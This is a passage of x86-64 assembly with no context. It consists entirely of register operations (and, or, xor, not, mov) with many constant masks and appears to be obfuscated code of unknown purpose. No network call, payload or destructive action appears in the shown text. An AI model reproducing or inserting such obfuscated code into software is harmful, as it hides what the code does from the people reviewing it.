and ebp, 0x4bea58db
or ebp, edx
mov edx, eax
or edx, ebx
and ebx, 0xb415a724
and ecx, 0x4bea58db
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x10c9dff1
and edx, 0xef36200e
or edx, ecx
mov ecx, edx
xor ecx, 0xe136200c
and ecx, 0xe1b7b8dd
xor edx, 0x10484720
and edx, 0x1e484722
or edx, ecx
mov ebx, edx
xor ebx, 0xe1b7b8dd
and ebx, edx
and edi, 0x1e484722
xor eax, 0xe1b7b8dd
or eax, edi
mov ecx, eax
not ecx
mov ebp, ebx
not ebp
mov r10d, ebp
or r10d, eax
mov edx, r10d
not edx
and ebp, 0xfa7754d6
and ebx, 0x588ab29
or ebx, ebp
and eax, 0xfa7754d6
and ecx, 0x588ab29
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
mov edi, r10d
and edi, 0xece10280
and edx, 0x131efd7f
or edx, edi
or r10d, eax
and eax, 0xece10280
and ecx, 0x131efd7f
or ecx, eax
xor ecx, edx
not r10d
or r10d, ecx
mov eax, r10d
not eax
and eax, 0x80001187
mov ecx, r10d
and ecx, 0x28014620
or ecx, eax
xor ecx, 0x28014620
and r10d, 0x57fea858
or r10d, ecx
mov eax, r10d
not eax
and eax, 0xb9dd8dec
and r10d, 0x46227213
or r10d, eax
mov r11d, r10d
xor r11d, 0xd9a26931
xor r10d, 0x265d96ce
mov eax, r10d
and eax, 0x9b6812bb
mov edx, r11d
and edx, 0x6497ed44
or edx, eax
mov eax, edx
not eax
and eax, 0x60560047
and edx, 0x9fa9ffb8
or edx, eax
mov eax, edx
xor eax, 0x4c1e403
xor edx, 0x322412ac
and edx, 0x32241bac
and eax, 0xcddbe453
or eax, edx
mov edx, eax
xor edx, 0x81d10003
xor eax, 0x32241bac
mov esi, r10d
or esi, r11d
mov ebp, esi
not ebp
and ebp, 0x5ca126f7
and esi, 0xa35ed908
or esi, ebp
mov r9d, esi
xor r9d, 0x220ac108
xor esi, 0x5ca126f7
mov ebp, eax
xor ebp, esi
and ebp, eax
and edx, 0x81f51a87
and eax, 0x7e0ae578
or eax, edx
and esi, 0x81f51a87
and r9d, 0x7e0ae578
or r9d, esi
xor r9d, eax
mov eax, ebp
and eax, r9d
xor r9d, ebp
or r9d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0xc54a6b5f
mov edx, r9d
and edx, 0x3ab594a0
or edx, eax
mov eax, edx
not eax
and eax, 0x2a71e9ca
and edx, 0xd58e1635
or edx, eax
mov eax, edx
xor eax, 0x10c47d6a
mov ebp, edx
xor ebp, 0xa8080215
and ebp, 0xb88c3615
xor edx, 0xdad058a3
and edx, eax
and eax, 0x4773c9ea
or eax, ebp
mov ebp, eax
xor ebp, 0x4773c9ea
mov ebx, eax
xor ebx, 0x729813dc
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xaad69210
and edx, 0x55296def
or edx, ebx
xor edx, 0x311462f6
and ebp, 0xae292ad0
xor eax, 0xe95ae33a
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0x3da7fcc9
and eax, 0xc2580336
or eax, ebp
xor eax, 0xc2580336
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x93f8e1f2
and eax, 0x6c071e0d
or eax, edx
mov r14d, eax
xor r14d, 0x6c071e0d
xor eax, 0x93f8e1f2
mov edx, r10d
and edx, 0x842b0041
mov ecx, r11d
and ecx, 0xc03a32
or ecx, edx
mov esi, ecx
xor esi, 0x801232
xor ecx, 0xcd338044
mov ebx, r10d
or ebx, 0x84eb3a73
mov edx, ebx
not edx
and ecx, 0xcd73a844
and esi, 0x881233
or esi, ecx
and ebx, 0xcd73a844
and edx, 0x32044588
or edx, ebx
xor edx, esi
mov ecx, edx
not ecx
and ecx, 0x2ac210a3
and edx, 0xd53def5c
or edx, ecx
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x102f69c0
and ecx, 0xefd0963f
or ecx, esi
or edx, r11d
and r11d, 0x102f69c0
and r10d, 0xefd0963f
or r10d, r11d
xor r10d, ecx
not edx
or edx, r10d
mov ecx, edx
not ecx
mov ebx, eax
and ebx, r14d
mov esi, ebx
not esi
mov edi, r14d
and edi, 0x8693ec83
mov ebp, eax
and ebp, 0x796c137c
or ebp, edi
mov r11d, r14d
or r11d, esi
and esi, 0x8693ec83
and ebx, 0x796c137c
or ebx, esi
xor ebx, ebp
not r11d
or r11d, ebx
mov r13d, ecx
mov ebp, edx
and ebp, 0x7458c079
and ecx, 0x8ba73f86
or ecx, ebp
not ecx
or ecx, edx
and edx, 0x439860de
and r13d, 0xbc679f21
or r13d, edx
mov r10d, r13d
xor r10d, 0xbc679f21
mov r12d, r13d
xor r12d, 0x439860de
mov r15d, r11d
not r15d
mov edx, r15d
and edx, 0x47071684
mov edi, r11d
and edi, 0xb8f8e97b
or edi, edx
mov edx, edi
xor edx, 0x88a02902
and edx, 0x8ba73f86
xor edi, 0x335fd6fd
or edi, edx
mov edx, edi
not edx
mov ebp, eax
and ebp, 0x50723609
and r14d, 0xaf8dc9f6
or r14d, ebp
xor r14d, 0x242af670
xor eax, r14d
and eax, r14d
mov ebp, r12d
and ebp, 0x849bee82
mov esi, r10d
and esi, 0x7b64117d
or esi, ebp
mov ebp, esi
xor ebp, 0xb241104
and ebp, 0x8ba73f86
xor esi, 0xf0c32efb
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0x37070ee3
and esi, 0xc8f8f11c
or esi, ebp
mov ebp, edi
and edi, 0x5d39d3fb
and edx, 0xa2c62c04
or edx, edi
mov edi, eax
not edi
or ebp, edi
and edi, 0x5d39d3fb
and eax, 0xa2c62c04
or eax, edi
not ebp
xor eax, edx
mov edx, ebp
and edx, eax
xor eax, ebp
mov edi, esi
xor edi, 0xc8f8f11c
xor esi, 0x27040c22
or eax, edx
mov edx, edi
xor edx, ecx
and edx, edi
and esi, 0x27fcdc36
and edi, 0xd80323c9
or edi, esi
mov esi, ecx
not esi
and ecx, 0x27fcdc36
and esi, 0xd80323c9
or esi, ecx
xor esi, edi
mov r14d, edx
not r14d
mov edi, r14d
and edi, 0xb341e3d7
and edx, 0x4cbe1c28
or edx, edi
mov edi, esi
not edi
or r14d, edi
and edi, 0xb341e3d7
and esi, 0x4cbe1c28
or esi, edi
xor esi, edx
not r14d
or r14d, esi
mov edx, eax
not edx
and edx, 0xb318dd2c
mov esi, eax
and esi, 0x4ce722d3
or esi, edx
mov edx, r14d
not edx
xor esi, 0xb318dd2c
or esi, edx
not esi
and edx, 0xadfafda9
and r14d, 0x52050256
or r14d, edx
xor r14d, eax
xor r14d, 0xadfafda9
and r14d, eax
mov eax, esi
and eax, r14d
xor r14d, esi
or r14d, eax
mov edx, r15d
and edx, 0xac47f252
mov eax, r11d
and eax, 0x53b80dad
or eax, edx
mov edx, r12d
and edx, 0xac47f252
xor r13d, 0x10206d73
and r13d, r10d
mov esi, edx
and esi, r13d
xor r13d, edx
or r13d, esi
mov edx, eax
not edx
and edx, 0xb925d9e8
and eax, 0x46da2617
or eax, edx
mov edx, r13d
not edx
and edx, 0xb925d9e8
and r13d, 0x46da2617
or r13d, edx
xor r13d, eax
mov eax, r11d
and eax, 0x1b1e9695
and r15d, 0xe4e1696a
or r15d, eax
or r11d, r10d
and r10d, 0x1b1e9695
and r12d, 0xe4e1696a
or r12d, r10d
xor r12d, r15d
not r11d
or r11d, r12d
mov eax, r11d
not eax
mov ebx, r13d
not ebx
mov ebp, ebx
and ebp, 0x7ed6267c
and r13d, 0x8129d983
or r13d, ebp
or ebx, r11d
and r11d, 0x7ed6267c
and eax, 0x8129d983
or eax, r11d
xor eax, r13d
not ebx
or ebx, eax
mov eax, ebx
mov edx, ebx
xor edx, 0xd65511f6
and edx, ebx
not ebx
and ebx, 0xa49330e6
and eax, 0x5b6ccf19
or eax, ebx
mov ebp, eax
xor ebp, 0x40040000
xor eax, 0x841110e6
or eax, 0x29aaee09
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xbfc0a1d7
and ebp, 0x40151020
or ebp, edi
or eax, ebx
and ebx, 0xbfc0a1d7
and edx, 0x403f5e28
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x29aaee09
and eax, 0xd65511f6
or eax, edx
mov edx, r14d
not edx
and edx, eax
not eax
mov ecx, r14d
xor ecx, eax
and ecx, r14d
and eax, r14d
or eax, edx
mov edx, ecx
not edx
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0xaf114179
and ecx, 0x50eebe86
or ecx, ebx
or edx, ebp
and ebp, 0xaf114179
and eax, 0x50eebe86
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, edx
mov ebp, ecx
and ebp, eax
xor eax, ecx
or eax, ebp
not eax
or eax, 0xae292ad1
mov esi, eax
not esi
and ecx, 0xbe62db3b
and edx, 0x419d24c4
or edx, ecx
mov ebp, edx
xor ebp, 0x419d24c4
xor edx, 0xae025211
and edx, 0xee0a5691
mov ecx, ebp
and ecx, 0x11f5a96e
or ecx, edx
xor ecx, 0xbfdc83bf
and ebp, 0x51d6d52e
or ebp, ecx
and eax, 0xc7b936ee
mov ebx, esi
and ebx, 0x1046c100
or ebx, eax
mov r10d, ebx
xor r10d, 0x3846c911
xor ebx, 0x29662c5d
and ebx, r10d
mov ecx, ebp
mov r11d, r10d
and r11d, ebp
xor r10d, ebp
not ebp
and esi, 0x1100c50c
or ebp, 0x1120e54c
mov edi, ebp
not edi
or ecx, 0xeedf1ab3
mov eax, ecx
not eax
mov edx, ebx
and edx, esi
xor esi, ebx
or esi, edx
and ebp, 0xafb8d0c8
and edi, 0x40470a33
or edi, ebp
and ecx, 0xafb8d0c8
and eax, 0x10002504
or eax, ecx
xor eax, edi
mov ecx, esi
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
or r10d, r11d
not r10d
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov r14d, r9d
or r14d, 0xc1102c5
mov eax, r14d
not eax
mov ecx, r9d
xor ecx, 0xf3eefd3a
and ecx, r9d
mov ebp, ecx
not ebp
mov edx, r14d
and edx, 0x43be4b9d
and eax, 0xb040b422
or eax, edx
or r14d, ebp
and ebp, 0x43be4b9d
and ecx, 0xbc41b462
or ecx, ebp
xor ecx, eax
not r14d
or r14d, ecx
mov eax, r14d
not eax
and eax, 0x1d75128c
and r14d, 0xe28aed73
or r14d, eax
mov edx, r14d
xor edx, 0x11641049
mov r11d, r14d
xor r11d, 0xee9befb6
mov ebx, r11d
and ebx, 0xe9cd6dfe
mov eax, edx
mov r15d, r14d
xor r15d, 0x24ffd27
and r15d, edx
and edx, 0x16329201
or edx, ebx
mov ebx, edx
xor ebx, 0x16329201
xor edx, 0x60cd4d60
and edx, 0x70dddd61
mov esi, ebx
and esi, 0x8f22229e
or esi, edx
xor esi, 0x68a1ac7b
and ebx, 0x187c711a
or ebx, esi
mov edx, ebx
not edx
and edx, 0xc4517ed0
and ebx, 0x3bae812f
or ebx, edx
mov edx, ebx
xor edx, 0x3bae812f
and r9d, 0x6591597d
mov esi, r8d
and esi, 0x9a6ea682
or esi, r9d
xor esi, 0x8212d798
and r8d, 0xe7838ee5
or r8d, esi
mov esi, r8d
not esi
and esi, 0x7e3f7856
and r8d, 0x81c087a9
or r8d, esi
mov esi, r8d
xor esi, 0x408621
xor r8d, 0x7e3f7856
mov ebp, edx
xor ebp, r8d
and ebp, edx
xor ebx, 0x84101890
and ebx, 0x87b4199a
and edx, 0x784be665
or edx, ebx
and r8d, 0x87b4199a
and esi, 0x784be665
or esi, r8d
xor esi, edx
mov edx, ebp
not edx
mov ebx, esi
not ebx
mov edi, edx
and edi, 0x310b892
and ebp, 0xfcef476d
or ebp, edi
or edx, ebx
and ebx, 0x310b892
and esi, 0xfcef476d
or esi, ebx
xor esi, ebp
not edx
or edx, esi
mov ebx, edx
mov ebp, edx
xor ebp, 0xe7838ee4
and ebp, edx
not edx
and edx, 0x45028400
and ebx, 0xa2810ae4
or ebx, edx
mov edx, ebx
xor edx, 0x10284
xor ebx, 0x5d7ef51b
mov edi, ebp
not edi
mov esi, ebx
and esi, 0xebb2897b
and edx, 0x4010684
or edx, esi
or ebx, edi
and edi, 0xebb2897b
and ebp, 0x144d7684
or ebp, edi
xor ebp, edx
not ebx
or ebx, ebp
or eax, 0xecd41291
mov edx, eax
not edx
mov ecx, r15d
not ecx
mov ebp, eax
and ebp, 0x3e1bc294
and edx, 0x1202d6a
or edx, ebp
or eax, ecx
and ecx, 0x3e1bc294
and r15d, 0xc1e43d6b
or r15d, ecx
xor r15d, edx
not eax
or eax, r15d
mov ecx, eax
not ecx
and ecx, 0xcc75ee32
and eax, 0x338a11cd
or eax, ecx
mov ecx, eax
xor ecx, 0x20f0a0
and r11d, 1
xor r14d, 0xee9befb7
or r14d, r11d
mov edx, r14d
not edx
xor eax, 0xdf5e035d
mov ebp, eax
and ebp, 0xfa970f52
and ecx, 0x568f0ad
or ecx, ebp
or eax, r14d
and r14d, 0xfa970f52
and edx, 0x568f0ad
or edx, r14d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x18152474
and ecx, 0xe7eadb8b
or ecx, eax
mov eax, ecx
xor eax, 0x18152474
xor ecx, 0xe7eadb8b
mov edx, ebx
xor edx, ecx
and edx, ebx
and ecx, ebx
not ebx
and ebx, eax
or ecx, ebx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov ebx, ecx
not ebx
mov eax, ecx
and eax, 0xbe8fbc74
mov ebp, ebx
and ebp, 0x4170438b
or ebp, eax
mov edx, ebp
xor edx, 0xbc009444
xor ebp, 0x104183
and ebp, 0x29f69b3
and edx, 0xfd60964c
or edx, ebp
mov r11d, edx
xor r11d, 0xfd60964c
xor edx, 0x826033
and edx, 0xc8a2607b
mov eax, r11d
and eax, 0x375d9f84
or eax, edx
xor eax, 0x4cda8c8c
and r11d, 0x8478ecf7
or r11d, eax
mov edx, r11d
not edx
and ebx, 0x9c658370
and ecx, 0x639a7c8f
or ecx, ebx
mov eax, ecx
xor eax, 0x63821008
and eax, 0x7b871308
xor ecx, 0x181d6f87
or ecx, eax
mov edi, ecx
not edi
mov eax, r11d
and eax, 0x77f9a52d
and edx, 0x88065ad2
or edx, eax
mov r8d, edx
xor r8d, 0x88065ad2
mov eax, ecx
and eax, 0xd16beabf
xor ecx, 0xa66ed74a
and ecx, edi
and edi, 0x2e941540
or edi, eax
mov r9d, edi
xor r9d, 0x2e941540
mov eax, edx
xor eax, 0x2e688d98
and eax, r8d
or r11d, 0x599128b5
mov ebp, r11d
not ebp
mov ebx, edi
xor ebx, 0x88fac20a
and ebx, r9d
mov esi, eax
not esi
mov r14d, esi
and r14d, 0x56ca5304
and eax, 0xa935acfb
or eax, r14d
or esi, r11d
and r11d, 0x56ca5304
and ebp, 0xa024844a
or ebp, r11d
xor ebp, eax
not esi
or esi, ebp
mov eax, ebx
not eax
mov ebp, ecx
not ebp
mov r11d, eax
and r11d, 0x19834356
and ebx, 0xe67cbca9
or ebx, r11d
or eax, ebp
and ebp, 0x19834356
and ecx, 0xe67cbca9
or ecx, ebp
xor ecx, ebx
not eax
or eax, ecx
mov ecx, esi
not ecx
and ecx, eax
not eax
and eax, esi
or eax, ecx
xor edx, 0x77f9a52d
xor edi, 0xd16beabf
mov ecx, edx
and ecx, 0x54f36341
and r8d, 0xab0c9cbe
or r8d, ecx
or edx, edi
and edi, 0x54f36341
and r9d, 0xab0c9cbe
or r9d, edi
xor r9d, r8d
not edx
or edx, r9d
not edx
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
xor eax, 0xedc829ad
and eax, edx
not edx
and edx, 0xedc829ad
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8bf6d69e
and eax, 0x74092961
or eax, ecx
mov edx, eax
xor edx, 0xe24613c4
mov ecx, eax
xor ecx, 0x1204023
and ecx, 0x1204163
xor eax, 0xbb6d423f
and eax, edx
and edx, 0x580b1098
or edx, ecx
mov ecx, edx
xor ecx, 0x18090080
xor edx, 0xa7f4ef67
mov ebp, eax
not ebp
mov ebx, edx
and ebx, 0x41b6167c
and ecx, 0x18094183
or ecx, ebx
or edx, ebp
and ebp, 0x41b6167c
and eax, 0xbe49e983
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xfa23061a
and edx, 0x5dcf9e5
or edx, eax
mov eax, edx
xor eax, 0x5cf7a81e
mov ebp, edx
xor ebp, 0xa30857e1
xor edx, 0xd23aa6a1
mov ebx, edx
and ebx, ebp
and edx, eax
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd32d4d77
and ebx, 0x2cd2b288
or ebx, esi
or ecx, edi
and edi, 0xd32d4d77
and edx, 0x2cd2b288
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc8e1260c
and ecx, 0x371ed9f3
or ecx, edx
mov edx, ecx
xor edx, 0x462008b2
or ebp, eax
mov eax, ebp
not eax
and eax, 0xe84e8548
and ebp, 0x17b17ab7
or ebp, eax
mov eax, ebp
xor eax, 0x6b01ab2
xor ecx, 0xb9d3d74c
xor ebp, 0xe84e8548
mov ebx, ecx
and ebx, 0xb90de04d
and edx, 0x46f21fb2
or edx, ebx
or ecx, ebp
and ebp, 0xb90de04d
and eax, 0x46f21fb2
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1c20526
mov edx, ecx
and edx, 0xc4012008
or edx, eax
xor edx, 0xc4012008
and ecx, 0x3a3cdad1
or ecx, edx
mov eax, ecx
not eax
and eax, 0xb971228c
and ecx, 0x468edd73
or ecx, eax
mov eax, ecx
xor eax, 0x305d858
xor ecx, 0x78900200
and eax, 0x727ddfa
and ecx, 0xf8d82205
or ecx, eax
mov ebp, ecx
xor ebp, 0x10319ba
xor ecx, 0x90582204
and ecx, 0x967ce644
and ebp, 0x698319bb
or ebp, ecx
mov r9d, ebp
xor r9d, 0x698319bb
mov ecx, ebp
xor ecx, 0x967ce644
mov r8d, r10d
not r8d
mov eax, ecx
and eax, 0x10740b84
mov edx, r9d
and edx, 0x826002
or edx, eax
xor edx, 0x826002
xor ebp, 0x7975723d
and ebp, r9d
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0x648ba2e9
and ebp, 0x9b745d16
or ebp, eax
mov r14d, ebp
xor r14d, 0x8b823690
mov eax, r10d
and eax, 0xbb12b9dc
mov edx, r8d
and edx, 0x44ed4623
or edx, eax
mov edi, edx
xor edi, 0x44ed4623
xor edx, 0xb8129008
and edx, 0xfcda940a
mov eax, edi
and eax, 0x3256bf5
or eax, edx
xor eax, 0x8378b75e
and edi, 0x7fa22354
or edi, eax
mov eax, edi
not eax
and eax, 0x450a47f9
and edi, 0xbaf5b806
or edi, eax
mov r15d, edi
xor r15d, 0xbaf5b806
mov eax, r8d
and eax, 0x805ddcab
mov edx, r10d
and edx, 0x7fa22354
or edx, eax
mov r11d, edx
xor r11d, r8d
and r11d, edx
xor ebp, 0x747dc96f
mov eax, ebp
and eax, 0x7fa22354
mov ebx, r14d
and ebx, 0x805ddcab
or ebx, eax
and r9d, 0xb5165482
mov eax, ecx
and eax, 0x4ae9ab7d
or eax, r9d
xor eax, 0x354b8829
and ecx, 0x805ddcab
or ecx, eax
mov eax, ecx
not eax
and eax, 0x1f9fcb6f
and ecx, 0xe0603490
or ecx, eax
xor edi, 0x40024339
and edi, 0xd2a2c33f
mov edx, r15d
and edx, 0x2d5d3cc0
or edx, edi
mov r9d, edx
xor r9d, 0x2d5d3cc0
mov eax, r11d
mov edi, r11d
xor edi, 0x9829cc81
and edi, r11d
not r11d
and r11d, 0xed3d88ca
and eax, 0x12c27735
or eax, r11d
xor edx, 0x4a8b0fbe
and edx, r9d
and r15d, 0x67d6337e
mov esi, edx
and esi, r15d
xor r15d, edx
mov edx, eax
xor edx, 0x12c27735
xor eax, 0x7514444b
and eax, edx
or r15d, esi
mov esi, eax
and esi, edi
xor edi, eax
not ebx
or ebx, ebp
or edi, esi
mov eax, r15d
not eax
and eax, edi
not edi
and edi, r15d
mov r11d, ebx
not r11d
or edi, eax
mov eax, r9d
and eax, edx
xor edx, r9d
mov esi, ecx
xor esi, 0xe0603490
or edx, eax
not edx
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
xor ecx, 0x1f9fcb6f
and esi, ebx
or ebx, ecx
not ebx
and ecx, r11d
or ecx, esi
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x70cfe39a
and edx, 0x8f301c65
or edx, eax
or ebx, ecx
not ecx
xor edx, 0x70cfe39a
or edx, ecx
mov ecx, edx
not ecx
mov eax, ebx
not eax
mov edi, edx
and edi, 0x8f048f35
and ecx, 0x70fb70ca
or ecx, edi
or edx, ebx
and ebx, 0x8f048f35
and eax, 0x70fb70ca
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, r8d
xor eax, ebp
and eax, r8d
and r10d, 0x9d43e0e2
and r8d, 0x62bc1f1d
or r8d, r10d
and ebp, 0x9d43e0e2
and r14d, 0x62bc1f1d
or r14d, ebp
xor r14d, r8d
mov ecx, eax
and ecx, r14d
xor r14d, eax
or r14d, ecx
mov eax, r14d
not eax
and r14d, eax
mov ecx, eax
and ecx, r14d
xor r14d, eax
or r14d, ecx
mov eax, r14d
not eax
and r14d, 0xe6e7b9c1
and eax, 0x1918463e
or eax, r14d
mov r10d, eax
xor r10d, 0x9080218
mov ecx, edx
not ecx
xor eax, 0xe6e7b9c1
mov ebp, ecx
or ebp, eax
not ebp
and ecx, 0x3275c4e6
and edx, 0xcd8a3b19
or edx, ecx
and eax, 0x3275c4e6
and r10d, 0xcd8a3b19
or r10d, eax
xor r10d, edx
mov eax, ebp
and eax, r10d
xor r10d, ebp
or r10d, eax
mov r11d, r10d
not r11d
mov eax, r11d
and eax, 0x9641101
mov ecx, r10d
and ecx, 0x428226a6
or ecx, eax
xor ecx, 0x428226a6
mov eax, r10d
and eax, 0xb419c858
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb419c858
and eax, 0x4be637a7
or eax, ecx
mov ebp, eax
not ebp
and eax, 0xfcb2d712
and ebp, 0x34d28ed
or ebp, eax
mov esi, ebp
xor esi, 0xfcb2d712
xor ebp, 0x300006d
mov eax, r11d
and eax, 0x9fe6b187
mov ebx, r10d
and ebx, 0x60194e78
or ebx, eax
xor ebx, 0x60194e78
mov ecx, ebx
xor ecx, r11d
and ecx, ebx
mov ebx, ecx
not ebx
mov eax, esi
or eax, ebx
mov edi, eax
not edi
and esi, 0x1c6fbf80
and ebp, 0xe390407f
or ebp, esi
and ebx, 0x1c6fbf80
and ecx, 0xe390407f
or ecx, ebx
xor ecx, ebp
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x6b77d6af
and edi, 0x94882950
or edi, ebx
or eax, ebp
and ebp, 0x6b77d6af
and ecx, 0x94882950
or ecx, ebp
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xd33761d3
and eax, 0x2cc89e2c
or eax, ecx
mov ebp, eax
xor ebp, 0x2cc89e2c
mov ecx, eax
xor ecx, 0x111701c1
and ecx, 0x399789c1
xor eax, 0x21ae3e52
and eax, ebp
and ebp, 0xc668763e
or ebp, ecx
mov edi, ebp
xor edi, 0xc668763e
mov ebx, ebp
xor ebx, 0x34f129bf
and ebx, edi
mov ecx, ebx
not ecx
mov esi, eax
not esi
mov edx, ecx
and edx, 0xa54380e4
and ebx, 0x5abc7f1b
or ebx, edx
or ecx, esi
and esi, 0xa54380e4
and eax, 0x5abc7f1b
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
and eax, 0xf2995f81
not ecx
and ecx, 0xd66a07e
or ecx, eax
xor ebp, 0x181000c0
and ebp, 0x1e5876c0
mov eax, edi
and eax, 0xe1a7893f
or eax, ebp
xor eax, 0xe1a7893f
or eax, edi
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xd3d3f471
and ecx, 0x2c2c0b8e
or ecx, ebx
or ebp, eax
and eax, 0xd3d3f471
and edx, 0x2c2c0b8e
or edx, eax
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
not ecx
and ebp, 0x5ec51da7
and ecx, 0xa13ae258
or ecx, ebp
mov r15d, ecx
xor r15d, 0xe050c80
xor ecx, 0x21086250
and ecx, 0x71c87377
and r15d, 0x8e378c88
or r15d, ecx
mov r8d, r15d
xor r8d, 0x8e378c88
mov r9d, r15d
xor r9d, 0x71c87377
mov ecx, r11d
and ecx, r10d
mov edx, ecx
not edx
mov esi, r10d
and esi, 0x225a34d1
and r11d, 0xdda5cb2e
or r11d, esi
or r10d, edx
and edx, 0x225a34d1
and ecx, 0xdda5cb2e
or ecx, edx
xor ecx, r11d
not r10d
or r10d, ecx
mov ecx, r10d
not ecx
mov edx, r10d
and edx, ecx
xor ecx, r10d
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x813b5d97
and ebp, 0x7ec4a268
or ebp, edi
or ecx, ebx
and ebx, 0x813b5d97
and edx, 0x7ec4a268
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov r12d, ecx
not r12d
mov edx, r12d
and edx, 0x17e1f63c
and ecx, 0xe81e09c3
or ecx, edx
xor ecx, 0x17e1f63c
xor r12d, ecx
and r12d, ecx
mov edx, r12d
not edx
mov ecx, edx
and ecx, 0x95560144
mov edi, r12d
and edi, 0x6aa9febb
or edi, ecx
xor edi, 0x6aa9febb
mov r14d, edx
and r14d, r12d
mov ecx, edi
and ecx, r14d
xor r14d, edi
or r14d, ecx
mov ecx, r8d
mov ebp, r8d
and ebp, 0xc771341e
mov ebx, r9d
and ebx, 0x388ecbe1
or ebx, ebp
xor ebx, 0x5cd356c1
mov edi, r9d
and edi, 0x9ba262df
or edi, ebx
mov ebp, edi
not ebp
and ebp, 0xb2218f5e
and edi, 0x4dde70a1
or edi, ebp
and ecx, 0xdb770152
mov esi, r9d
and esi, 0x2488fead
or esi, ecx
mov ebp, esi
xor ebp, 0x2488fead
xor esi, 0x3140040
and esi, 0x79448ec
mov ecx, ebp
and ecx, 0xf86bb713
or ecx, esi
xor ecx, 0x63c9d5cc
and ebp, 0x645d9d20
or ebp, ecx
mov r10d, r14d
not r10d
mov ecx, r14d
and ecx, 0x5d92fd5c
mov esi, r10d
and esi, 0xa26d02a3
or esi, ecx
xor esi, 0xc6309f83
mov r11d, r10d
and r11d, 0x9ba262df
or r11d, esi
mov ecx, edi
xor ecx, 0x4dde70a1
and edx, 0x645d9d20
xor r12d, 0x9ba262df
or r12d, edx
mov edx, r12d
not edx
and edx, 0xd4c7c0c2
and r12d, 0x2b383f3d
or r12d, edx
mov ebx, ecx
xor ebx, ebp
and ebx, ecx
xor edi, 0x80000c08
and edi, 0xccde0ca8
and ecx, 0x3321f357
or ecx, edi
mov edx, ebp
not edx
and ebp, 0xccde0ca8
and edx, 0x3321f357
or edx, ebp
xor edx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x4bbb0f96
and ebx, 0xb444f069
or ebx, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0x4bbb0f96
and edx, 0xb444f069
or edx, ecx
xor r15d, 0xd06956e2
and r15d, r8d
xor edx, ebx
mov ecx, r11d
not ecx
not esi
or esi, edx
mov edx, r11d
and r11d, 0xefd83fa9
and ecx, 0x1027c056
or ecx, r11d
mov eax, r12d
xor eax, 0x200014
xor r12d, 0xd4c7c0c2
or edx, r12d
not edx
and r12d, 0xefd83fa9
and eax, 0x1027c056
or eax, r12d
xor eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0xec3657c0
and esi, 0x13c9a83f
or esi, edx
mov edx, eax
mov ebx, eax
xor ebx, 0xeadbdd4
and ebx, eax
not eax
and eax, 0x974bdecc
and edx, 0x68b42133
or edx, eax
mov eax, edx
xor eax, 0x68b42133
xor edx, 0x99e66318
and edx, eax
mov eax, esi
xor eax, 0x289a814
not esi
or ebp, 0xeadbdd4
or esi, 0x8010020a
and esi, 0x8830068a
and eax, 0x68db954
or eax, esi
mov ecx, ebp
not ecx
and ebp, 0x8830068a
and ecx, 0x71424021
or ecx, ebp
xor ecx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x8f923763
and edx, 0x706dc89c
or edx, eax
mov eax, ebx
not eax
or esi, eax
and eax, 0x8f923763
and ebx, 0x706dc89c
or ebx, eax
xor ebx, edx
not esi
or esi, ebx
mov eax, ecx
not eax
and eax, 0x8d598801
and ecx, 0x72a677fe
or ecx, eax
mov eax, esi
not eax
and eax, 0x8d598801
and esi, 0x72a677fe
or esi, eax
xor esi, ecx
and r9d, 0xbdb5ed1d
and r8d, 0x424a12e2
or r8d, r9d
mov ebp, r8d
xor r8d, 0xbdb5ed1d
mov edi, r8d
or edi, 0xa1a12595
mov eax, edi
not eax
mov edx, r14d
or edx, 0xa1a12595
mov ecx, edi
and ecx, 0xfa457253
and eax, 0x41a8828
or eax, ecx
mov ecx, r15d
not ecx
or edi, ecx
and ecx, 0xfa457253
and r15d, 0x5ba8dac
